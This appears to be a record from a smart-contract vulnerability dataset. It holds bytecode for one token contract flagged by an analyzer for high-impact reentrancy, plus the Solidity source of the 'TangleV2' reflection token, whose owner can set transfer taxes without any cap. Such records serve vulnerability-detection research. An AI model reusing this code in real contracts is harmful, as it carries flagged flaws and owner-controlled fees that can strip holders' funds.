0516112de9190612804565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561135b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611352906127a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c2906126a4565b60405180910390fd5b6000811161140e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140590612784565b60405180910390fd5b6114166107dc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457506114546107dc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561160357600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156115345750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561154957600c5481111561154857600080fd5b5b600061155430610576565b9050600b60159054906101000a900460ff161580156115c15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115d95750600b60169054906101000a900460ff165b15611601576115e781611677565b600047905060008111156115ff576115fe476119df565b5b505b505b61160e838383611a4b565b505050565b600083831115829061165b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116529190612682565b60405180910390fd5b506000838561166a91906129ca565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116d5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156117035781602001602082028036833780820191505090505b5090503081600081518110611741577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117e357600080fd5b505afa1580156117f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061181b919061217e565b81600181518110611855577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506118bc30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611120565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161192095949392919061281f565b600060405180830381600087803b15801561193a57600080fd5b505af115801561194e573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b60006006548211156119b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119af906126c4565b60405180910390fd5b60006119c2611a5b565b90506119d78184611a8690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a47573d6000803e3d6000fd5b5050565b611a56838383611ad0565b505050565b6000806000611a68611c9b565b91509150611a7f8183611a8690919063ffffffff16565b9250505090565b6000611ac883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ce8565b905092915050565b600080600080600080611ae287611d4b565b955095509550955095509550611b4086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bd585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c2181611e5b565b611c2b8483611f18565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c889190612804565b60405180910390a3505050505050505050565b6000806000600654905060006005549050611cc3600554600654611a8690919063ffffffff16565b821015611cdb57600654600554935093505050611ce4565b81819350935050505b9091565b60008083118290611d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d269190612682565b60405180910390fd5b5060008385611d3e919061293f565b9050809150509392505050565b6000806000806000806000806000611d688a600854600854611f52565b9250925092506000611d78611a5b565b90506000806000611d8b8e878787611fe8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611df583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611613565b905092915050565b6000808284611e0c91906128e9565b905083811015611e51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4890612724565b60405180910390fd5b8091505092915050565b6000611e65611a5b565b90506000611e7c828461207190919063ffffffff16565b9050611ed081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611f2d82600654611db390919063ffffffff16565b600681905550611f4881600754611dfd90919063ffffffff16565b6007819055505050565b600080600080611f7e6064611f70888a61207190919063ffffffff16565b611a8690919063ffffffff16565b90506000611fa86064611f9a888b61207190919063ffffffff16565b611a8690919063ffffffff16565b90506000611fd182611fc3858c611db390919063ffffffff16565b611db390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612001858961207190919063ffffffff16565b90506000612018868961207190919063ffffffff16565b9050600061202f878961207190919063ffffffff16565b905060006120588261204a8587611db390919063ffffffff16565b611db390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561208457600090506120e6565b600082846120929190612970565b90508284826120a1919061293f565b146120e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d890612744565b60405180910390fd5b809150505b92915050565b6000813590506120fb81612dd4565b92915050565b60008151905061211081612dd4565b92915050565b60008151905061212581612deb565b92915050565b60008135905061213a81612e02565b92915050565b60008151905061214f81612e02565b92915050565b60006020828403121561216757600080fd5b6000612175848285016120ec565b91505092915050565b60006020828403121561219057600080fd5b600061219e84828501612101565b91505092915050565b600080604083850312156121ba57600080fd5b60006121c8858286016120ec565b92505060206121d9858286016120ec565b9150509250929050565b6000806000606084860312156121f857600080fd5b6000612206868287016120ec565b9350506020612217868287016120ec565b92505060406122288682870161212b565b9150509250925092565b6000806040838503121561224557600080fd5b6000612253858286016120ec565b92505060206122648582860161212b565b9150509250929050565b60006020828403121561228057600080fd5b600061228e84828501612116565b91505092915050565b6000602082840312156122a957600080fd5b60006122b78482850161212b565b91505092915050565b6000806000606084860312156122d557600080fd5b60006122e386828701612140565b93505060206122f486828701612140565b925050604061230586828701612140565b9150509250925092565b600061231b8383612327565b60208301905092915050565b612330816129fe565b82525050565b61233f816129fe565b82525050565b6000612350826128a4565b61235a81856128c7565b935061236583612894565b8060005b8381101561239657815161237d888261230f565b9750612388836128ba565b925050600181019050612369565b5085935050505092915050565b6123ac81612a10565b82525050565b6123bb81612a53565b82525050565b60006123cc826128af565b6123d681856128d8565b93506123e6818560208601612a65565b6123ef81612af6565b840191505092915050565b60006124076023836128d8565b915061241282612b07565b604082019050919050565b600061242a602a836128d8565b915061243582612b56565b604082019050919050565b600061244d6022836128d8565b915061245882612ba5565b604082019050919050565b60006124706017836128d8565b915061247b82612bf4565b602082019050919050565b6000612493601b836128d8565b915061249e82612c1d565b602082019050919050565b60006124b66021836128d8565b91506124c182612c46565b604082019050919050565b60006124d96020836128d8565b91506124e482612c95565b602082019050919050565b60006124fc6029836128d8565b915061250782612cbe565b604082019050919050565b600061251f6025836128d8565b915061252a82612d0d565b604082019050919050565b60006125426024836128d8565b915061254d82612d5c565b604082019050919050565b60006125656019836128d8565b915061257082612dab565b602082019050919050565b61258481612a3c565b82525050565b61259381612a46565b82525050565b60006020820190506125ae6000830184612336565b92915050565b60006040820190506125c96000830185612336565b6125d66020830184612336565b9392505050565b60006040820190506125f26000830185612336565b6125ff602083018461257b565b9392505050565b600060c08201905061261b6000830189612336565b612628602083018861257b565b61263560408301876123b2565b61264260608301866123b2565b61264f6080830185612336565b61265c60a083018461257b565b979650505050505050565b600060208201905061267c60008301846123a3565b92915050565b6000602082019050818103600083015261269c81846123c1565b905092915050565b600060208201905081810360008301526126bd816123fa565b9050919050565b600060208201905081810360008301526126dd8161241d565b9050919050565b600060208201905081810360008301526126fd81612440565b9050919050565b6000602082019050818103600083015261271d81612463565b9050919050565b6000602082019050818103600083015261273d81612486565b9050919050565b6000602082019050818103600083015261275d816124a9565b9050919050565b6000602082019050818103600083015261277d816124cc565b9050919050565b6000602082019050818103600083015261279d816124ef565b9050919050565b600060208201905081810360008301526127bd81612512565b9050919050565b600060208201905081810360008301526127dd81612535565b9050919050565b600060208201905081810360008301526127fd81612558565b9050919050565b6000602082019050612819600083018461257b565b92915050565b600060a082019050612834600083018861257b565b61284160208301876123b2565b81810360408301526128538186612345565b90506128626060830185612336565b61286f608083018461257b565b9695505050505050565b600060208201905061288e600083018461258a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006128f482612a3c565b91506128ff83612a3c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561293457612933612a98565b5b828201905092915050565b600061294a82612a3c565b915061295583612a3c565b92508261296557612964612ac7565b5b828204905092915050565b600061297b82612a3c565b915061298683612a3c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129bf576129be612a98565b5b828202905092915050565b60006129d582612a3c565b91506129e083612a3c565b9250828210156129f3576129f2612a98565b5b828203905092915050565b6000612a0982612a1c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612a5e82612a3c565b9050919050565b60005b83811015612a83578082015181840152602081019050612a68565b83811115612a92576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f52617465206d757374206265206e6f6e2d6e6567617469766500000000000000600082015250565b612ddd816129fe565b8114612de857600080fd5b50565b612df481612a10565b8114612dff57600080fd5b50565b612e0b81612a3c565b8114612e1657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122063c7ac2ce36b3eb00ac38df2aaa1dae7fb0de9d720b3cff44e5319f8e8a80b7164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 9,171 |
0xa2c8E6Dd3d12E84C15437e41213b558d422d6E73
|
// SPDX-License-Identifier: 0BSD
pragma solidity ^0.8.7;
interface ERC20 {
function transfer(address to, uint tokens) external;
function transferFrom(address from, address to, uint tokens) external;
}
contract TangleV2 {
uint8 public decimals;
uint public totalSupply;
string public name;
string public symbol;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint)) private allowed;
bool public disableGame = false;
address public gamemaster;
address public owner;
address public liquidityAddress;
uint public totalPieces;
uint public piecesPerUnit;
uint public minHoldAmount;
uint public workaroundConstant = 1;
uint public distributionRewardThreshold;
uint public marketMakingRewardThreshold;
mapping(uint => uint) public S;
mapping(uint => uint) public tax;
mapping(uint => uint) public rewardMax;
mapping(uint => uint) public startTime;
mapping(uint => uint) public rewardConst;
mapping(uint => uint) public totalRewardableEvents;
mapping(uint => uint) public lastRewardDistribution;
mapping(uint => uint) public rewardsLastRewardChange;
mapping(uint => uint) public timeFromInitToLastRewardChange;
mapping(address => bool) public hasReceivedPieces;
mapping(address => mapping(uint => uint)) public Si;
mapping(address => mapping(uint => uint)) public WCi;
mapping(address => mapping(uint => uint)) public storedRewards;
mapping(address => mapping(uint => uint)) public rewardableEvents;
constructor() {
name = "TangleV2";
symbol = "TNGLv2";
decimals = 9;
totalSupply = 1e9 * 1*10**(decimals);
totalPieces = type(uint128).max - (type(uint128).max % totalSupply);
piecesPerUnit = totalPieces / totalSupply;
balances[msg.sender] = totalPieces;
gamemaster = msg.sender;
owner = msg.sender;
minHoldAmount = 1;
distributionRewardThreshold = 1e9;
marketMakingRewardThreshold = 1e9;
// INITIAL REWARDCONST MAP {
rewardConst[0] = 300000; // Market Maker
rewardConst[1] = 300000; // Distributor
rewardConst[2] = 300000; // Staker
// }
// INITIAL TAX MAP {
tax[100] = 5e9; // Transfer Multiplier
tax[101] = 1e11; // Transfer Divisor
tax[200] = 1e9; // Market Maker Transfer Multiplier
tax[201] = 1e11; // Market Maker Transfer Divisor
tax[210] = 10e9; // Market Maker Withdraw Multiplier
tax[211] = 1e11; // Market Maker Withdraw Divisor
tax[220] = 4e9; // Market Maker To Distributor Multiplier
tax[221] = 1e11; // Market Maker To Distributor Divisor
tax[230] = 4e9; // Market Maker To Staker Multiplier
tax[231] = 1e11; // Market Maker To Staker Divisor
tax[240] = 1e9; // Market Maker To Reflect Multiplier
tax[241] = 1e11; // Market Maker To Reflect Divisor
tax[250] = 1e9; // Market Maker To Gamemaster Multiplier
tax[251] = 1e11; // Market Maker To Gamemaster Divisor
tax[300] = 1e9; // Distributor Transfer Multiplier
tax[301] = 1e11; // Distributor Transfer Divisor
tax[310] = 10e9; // Distributor Withdraw Multiplier
tax[311] = 1e11; // Distributor Withdraw Divisor
tax[320] = 4e9; // Distributor To Market Maker Multiplier
tax[321] = 1e11; // Distributor To Market Maker Divisor
tax[330] = 4e9; // Distributor To Staker Multiplier
tax[331] = 1e11; // Distributor To Staker Divisor
tax[340] = 1e9; // Distributor To Reflect Multiplier
tax[341] = 1e11; // Distributor To Reflect Divisor
tax[350] = 1e9; // Distributor To Gamemaster Multiplier
tax[351] = 1e11; // Distributor To Gamemaster Divisor
tax[400] = 1e9; // Staker Transfer Multiplier
tax[401] = 1e11; // Staker Transfer Divisor
tax[410] = 10e9; // Staker Withdraw Multiplier
tax[411] = 1e11; // Staker Withdraw Divisor
tax[420] = 4e9; // Staker To Market Maker Multiplier
tax[421] = 1e11; // Staker To Market Maker Divisor
tax[430] = 4e9; // Staker To Distributor Multiplier
tax[431] = 1e11; // Staker To Distributor Divisor
tax[440] = 1e9; // Staker To Reflect Multiplier
tax[441] = 1e11; // Staker To Reflect Divisor
tax[450] = 1e9; // Staker To Gamemaster Multiplier
tax[451] = 1e11; // Staker To Gamemaster Divisor
tax[500] = 1e9; // Reflect Transfer Multiplier
tax[501] = 1e11; // Reflect Transfer Divisor
tax[600] = 1e9; // Gamemaster Transfer Multiplier
tax[601] = 1e11; // Gamemaster Transfer Divisor
// }
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner] / piecesPerUnit;
}
function allowance(address _owner, address spender) public view returns (uint256) {
return allowed[_owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
allowed[msg.sender][spender] = allowed[msg.sender][spender] + addedValue;
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
allowed[msg.sender][spender] = allowed[msg.sender][spender] - subtractedValue;
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function transfer(address to, uint256 value) public returns (bool) {
if (value > balances[msg.sender] / piecesPerUnit) revert();
value = enforceMinHold(msg.sender, value);
uint pieceValue = value * piecesPerUnit;
balances[msg.sender] -= pieceValue;
if (msg.sender == owner || disableGame) {
balances[to] += pieceValue;
emit Transfer(msg.sender, to, value);
return true;
}
balances[to] += pieceValue - taxify(pieceValue, 10);
balances[address(this)] += taxify(pieceValue, 20) + taxify(pieceValue, 30) + taxify(pieceValue, 40);
balances[gamemaster] += taxify(pieceValue, 60);
for (uint i = 0; i < 3; i++) { changeRewardMax(i, rewardMax[i] + taxify(pieceValue, 20 + i * 10)); }
reflect(taxify(pieceValue, 50));
if (msg.sender != owner && msg.sender != gamemaster && to != owner && to != gamemaster) {
if (msg.sender != liquidityAddress && to != liquidityAddress) distributorCheck(msg.sender, to, value);
marketMakerCheck(msg.sender, to, value);
}
emit Transfer(msg.sender, to, value - taxify(value, 10));
emit Transfer(msg.sender, address(this), taxify(value, 20) + taxify(value, 30) + taxify(value, 40));
emit Transfer(msg.sender, gamemaster, taxify(value, 60));
emit ReflectEvent(msg.sender, taxify(value, 50));
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
if (value > balances[from] / piecesPerUnit) revert();
value = enforceMinHold(from, value);
allowed[from][msg.sender] = allowed[from][msg.sender] - value;
uint pieceValue = value * piecesPerUnit;
balances[from] -= pieceValue;
if (from == owner || disableGame) {
balances[to] += pieceValue;
emit Transfer(from, to, value);
return true;
}
balances[to] += pieceValue - taxify(pieceValue, 10);
balances[address(this)] += taxify(pieceValue, 20) + taxify(pieceValue, 30) + taxify(pieceValue, 40);
balances[gamemaster] += taxify(pieceValue, 60);
for (uint i = 0; i < 3; i++) { changeRewardMax(i, rewardMax[i] + taxify(pieceValue, 20 + i * 10)); }
reflect(taxify(pieceValue, 50));
if (from != owner && from != gamemaster && to != owner && to != gamemaster) {
if (from != liquidityAddress && to != liquidityAddress) distributorCheck(from, to, value);
marketMakerCheck(from, to, value);
}
emit Transfer(from, to, value - taxify(value, 10));
emit Transfer(from, address(this), taxify(value, 20) + taxify(value, 30) + taxify(value, 40));
emit Transfer(from, gamemaster, taxify(value, 60));
emit ReflectEvent(from, taxify(value, 50));
return true;
}
function cropDust(address[] memory addresses) public {
for (uint i = 0; i < addresses.length; i++) {
balances[addresses[i]] += distributionRewardThreshold * piecesPerUnit;
emit Transfer(msg.sender, addresses[i], distributionRewardThreshold);
}
balances[msg.sender] -= distributionRewardThreshold * piecesPerUnit * addresses.length;
if (startTime[1] == 0) startTime[1] = block.timestamp;
distribute(1);
if (getAvailableRewards(msg.sender, 1) > 0) storedRewards[msg.sender][1] = getAvailableRewards(msg.sender, 1) * piecesPerUnit;
Si[msg.sender][1] = S[1];
WCi[msg.sender][1] = workaroundConstant;
rewardableEvents[msg.sender][1] += addresses.length;
totalRewardableEvents[1] += addresses.length;
}
function enforceMinHold(address sender, uint value) internal view returns (uint) {
if (balances[sender] / piecesPerUnit - value < minHoldAmount && sender != liquidityAddress)
value = balances[sender] / piecesPerUnit - minHoldAmount;
return value;
}
function taxify(uint value, uint id) internal view returns (uint) {
return value * tax[id * 10] / tax[id * 10 + 1];
}
function changeRewardMax(uint id, uint newRewardMax) internal {
if (startTime[id] > 0) {
rewardsLastRewardChange[id] = rewardTheoretical(id);
timeFromInitToLastRewardChange[id] = block.timestamp - startTime[id];
}
rewardMax[id] = newRewardMax;
}
function rewardTheoretical(uint id) public view returns (uint) {
if (startTime[id] == 0) return 0;
return rewardMax[id] - (rewardMax[id] - rewardsLastRewardChange[id]) * rewardConst[id] / (block.timestamp - startTime[id] + rewardConst[id] - timeFromInitToLastRewardChange[id]);
}
function reflect(uint reflectAmount) internal {
uint FTPXA = totalSupply * piecesPerUnit - balances[liquidityAddress];
uint FFTPXARA = FTPXA - reflectAmount;
piecesPerUnit = piecesPerUnit * FFTPXARA / FTPXA;
if (piecesPerUnit < 1)
piecesPerUnit = 1;
balances[liquidityAddress] = balances[liquidityAddress] * FFTPXARA / FTPXA;
}
function distributorCheck(address sender, address receiver, uint value) internal {
if (hasReceivedPieces[receiver] == false && value >= distributionRewardThreshold) {
addRewardableEvents(sender, 1);
hasReceivedPieces[receiver] = true;
}
}
function marketMakerCheck(address sender, address receiver, uint value) internal {
if (value >= marketMakingRewardThreshold) {
if (sender == liquidityAddress) addRewardableEvents(receiver, 0);
if (receiver == liquidityAddress) addRewardableEvents(sender, 0);
}
}
function addRewardableEvents(address recipient, uint id) internal {
if (startTime[id] == 0) startTime[id] = block.timestamp;
distribute(id);
if (getAvailableRewards(recipient, id) > 0) storedRewards[recipient][id] = getAvailableRewards(recipient, id) * piecesPerUnit;
Si[recipient][id] = S[id];
WCi[recipient][id] = workaroundConstant;
rewardableEvents[recipient][id] += 1;
totalRewardableEvents[id] += 1;
}
function distribute(uint id) internal {
if (totalRewardableEvents[id] != 0 && lastRewardDistribution[id] != rewardTheoretical(id)) {
uint addedReward = rewardTheoretical(id) - lastRewardDistribution[id];
while (addedReward > 0 && addedReward * workaroundConstant / totalRewardableEvents[id] < 1e9) {
workaroundConstant *= 2;
for (uint i; i < 3; i++) S[i] *= 2;
}
S[id] += addedReward * workaroundConstant / totalRewardableEvents[id];
lastRewardDistribution[id] = rewardTheoretical(id);
}
}
function getAvailableRewards(address _address, uint id) public view returns (uint) {
if (WCi[_address][id] == 0) return 0;
uint _workaroundConstant = workaroundConstant;
uint _S = S[id];
if (totalRewardableEvents[id] != 0 && lastRewardDistribution[id] != rewardTheoretical(id)) {
uint addedReward = rewardTheoretical(id) - lastRewardDistribution[id];
while (addedReward > 0 && addedReward * _workaroundConstant / totalRewardableEvents[id] < 1e9) {
_workaroundConstant *= 2;
_S *= 2;
}
_S += addedReward * _workaroundConstant / totalRewardableEvents[id];
}
uint availableRewards = storedRewards[_address][id] + rewardableEvents[_address][id] * (_S - Si[_address][id] * _workaroundConstant / WCi[_address][id]) / _workaroundConstant;
return availableRewards / piecesPerUnit;
}
function getAllAvailableRewards(address _address) public view returns(uint, uint, uint, uint) {
return (getAvailableRewards(_address, 0), getAvailableRewards(_address, 1), getAvailableRewards(_address, 2), getAvailableRewards(_address, 0) + getAvailableRewards(_address, 1) + getAvailableRewards(_address, 2));
}
function withdrawRewards(address _address, uint id) public {
distribute(id);
if (WCi[_address][id] == 0) return;
uint availableRewards = storedRewards[_address][id] + rewardableEvents[_address][id] * (S[id] - Si[_address][id] * workaroundConstant / WCi[_address][id]) / workaroundConstant;
storedRewards[_address][id] = 0;
Si[_address][id] = S[id];
WCi[_address][id] = workaroundConstant;
uint id2 = (id + 2) * 10;
balances[_address] += availableRewards - taxify(availableRewards, id2 + 1);
balances[gamemaster] += taxify(availableRewards, id2 + 5);
balances[address(this)] -= availableRewards - taxify(availableRewards, id2 + 2) - taxify(availableRewards, id2 + 3);
for (uint i = 0; i < 2; i++) { changeRewardMax(id != i * 2 ? i * 2 : 1, rewardMax[id] + taxify(availableRewards, id2 + 2 + i)); }
reflect(taxify(availableRewards, id2 + 4));
emit Transfer(address(this), _address, (availableRewards - taxify(availableRewards, id2 + 1)) / piecesPerUnit);
emit Transfer(address(this), gamemaster, taxify(availableRewards, id2 + 5) / piecesPerUnit);
emit ReflectEvent(address(this), taxify(availableRewards, id2 + 4) / piecesPerUnit);
}
function withdrawAllRewards(address _address) public {
for (uint i = 0; i < 3; i++) { if (getAvailableRewards(_address, i) > 0) withdrawRewards(_address, i); }
}
function stake(uint amount) public {
require(rewardableEvents[msg.sender][2] == 0, "staking position already exists");
ERC20(liquidityAddress).transferFrom(msg.sender, address(this), amount);
if (startTime[2] == 0) startTime[2] = block.timestamp;
distribute(2);
if (getAvailableRewards(msg.sender, 2) > 0) storedRewards[msg.sender][2] = getAvailableRewards(msg.sender, 2) * piecesPerUnit;
Si[msg.sender][2] = S[2];
WCi[msg.sender][2] = workaroundConstant;
rewardableEvents[msg.sender][2] += amount;
totalRewardableEvents[2] += amount;
}
function unstake() public {
require(rewardableEvents[msg.sender][2] > 0, "no current staking position");
distribute(2);
if (getAvailableRewards(msg.sender, 2) > 0) storedRewards[msg.sender][2] = getAvailableRewards(msg.sender, 2) * piecesPerUnit;
ERC20(liquidityAddress).transfer(msg.sender, rewardableEvents[msg.sender][2]);
totalRewardableEvents[2] -= rewardableEvents[msg.sender][2];
rewardableEvents[msg.sender][2] = 0;
}
function updatePosition(uint amount) public {
unstake();
stake(amount);
}
function changeTaxDetail(uint id, uint value) public {
require(msg.sender == owner, "not owner");
tax[id] = value;
}
function changeRewardConstant(uint newRewardConstant, uint id) public {
require(msg.sender == owner, "not owner");
rewardConst[id] = newRewardConstant;
}
function changeLiquidityAddress(address newLiquidityAddress) public {
require(msg.sender == owner, "not owner");
liquidityAddress = newLiquidityAddress;
for (uint i = 0; i < 3; i++) { rewardableEvents[liquidityAddress][i] = 0; }
}
function changeOwner(address newOwner) public {
require(msg.sender == owner, "not owner");
owner = newOwner;
}
function donate(uint id, uint value) public {
uint pieceValue = value * piecesPerUnit;
balances[msg.sender] -= pieceValue;
balances[address(this)] += pieceValue;
changeRewardMax(id, rewardMax[id] + pieceValue);
}
function changeDisableGame(bool newDisableGame) public {
require(msg.sender == owner, "not owner");
disableGame = newDisableGame;
}
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed owner, address indexed spender, uint256 value);
event ReflectEvent(address indexed from, uint tokens);
}
|
0x608060405234801561001057600080fd5b50600436106103365760003560e01c80637bd4e08f116101b2578063b5a2ac3b116100f9578063dd62ed3e116100a2578063e7877c361161007c578063e7877c36146107bd578063f6b5fc2e146107e8578063fd9ff94c14610813578063fddacd7b1461084657600080fd5b8063dd62ed3e14610757578063e11998171461079d578063e653723d146107aa57600080fd5b8063c5619050116100d3578063c56190501461070c578063ca6be7f114610731578063d6ef7af01461074457600080fd5b8063b5a2ac3b146106d3578063c4e4abc1146106e6578063c55897bf146106f957600080fd5b8063a457c2d71161015b578063a9059cbb11610135578063a9059cbb146106a4578063b2c5541f146106b7578063b316706c146106ca57600080fd5b8063a457c2d71461066b578063a694fc3a1461067e578063a6f9dae11461069157600080fd5b806395d89b411161018c57806395d89b411461062f5780639ecba7ea14610637578063a1ff4f911461064057600080fd5b80637bd4e08f146105dc5780638da5cb5b146105fc5780638ebfe95c1461061c57600080fd5b80632def6620116102815780633ee708aa1161022a5780635b7c132d116102045780635b7c132d1461058d5780636cfdc929146105a05780636eee7549146105a957806370a08231146105c957600080fd5b80633ee708aa146105445780634bc9500714610564578063577e59ea1461058457600080fd5b8063338b41a21161025b578063338b41a2146104f157806339509351146105115780633ec4c9681461052457600080fd5b80632def662014610485578063313ce5671461048d5780633221c93f146104ac57600080fd5b80631936f4b9116102e357806322d5ba98116102bd57806322d5ba981461042f57806323b872dd146104525780632c8aaf6c1461046557600080fd5b80631936f4b9146103db5780631ae3d5ff1461040657806320bc17b91461042657600080fd5b80630cdd53f6116103145780630cdd53f6146103915780630d1aba1f146103a457806318160ddd146103d257600080fd5b806306fdde031461033b578063095ea7b31461035957806309f1c80a1461037c575b600080fd5b61034361084f565b604051610350919061310c565b60405180910390f35b61036c610367366004612f9b565b6108dd565b6040519015158152602001610350565b61038f61038a3660046130d1565b610957565b005b61038f61039f3660046130ea565b61096b565b6103c46103b23660046130d1565b60156020526000908152604090205481565b604051908152602001610350565b6103c460015481565b6103c46103e9366004612f9b565b601960209081526000928352604080842090915290825290205481565b6103c46104143660046130d1565b60106020526000908152604090205481565b6103c4600a5481565b61036c61043d366004612f11565b60186020526000908152604090205460ff1681565b61036c610460366004612f5f565b6109f2565b6103c46104733660046130d1565b60146020526000908152604090205481565b61038f610ff6565b60005461049a9060ff1681565b60405160ff9091168152602001610350565b6008546104cc9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610350565b6103c46104ff3660046130d1565b600f6020526000908152604090205481565b61036c61051f366004612f9b565b6111ea565b6103c46105323660046130d1565b60126020526000908152604090205481565b6103c46105523660046130d1565b60176020526000908152604090205481565b6103c46105723660046130d1565b60116020526000908152604090205481565b6103c4600e5481565b61038f61059b366004612f11565b61128a565b6103c460095481565b6103c46105b73660046130d1565b60136020526000908152604090205481565b6103c46105d7366004612f11565b6113a0565b6103c46105ea3660046130d1565b60166020526000908152604090205481565b6007546104cc9073ffffffffffffffffffffffffffffffffffffffff1681565b61038f61062a3660046130af565b6113d4565b610343611486565b6103c4600d5481565b6103c461064e366004612f9b565b601a60209081526000928352604080842090915290825290205481565b61036c610679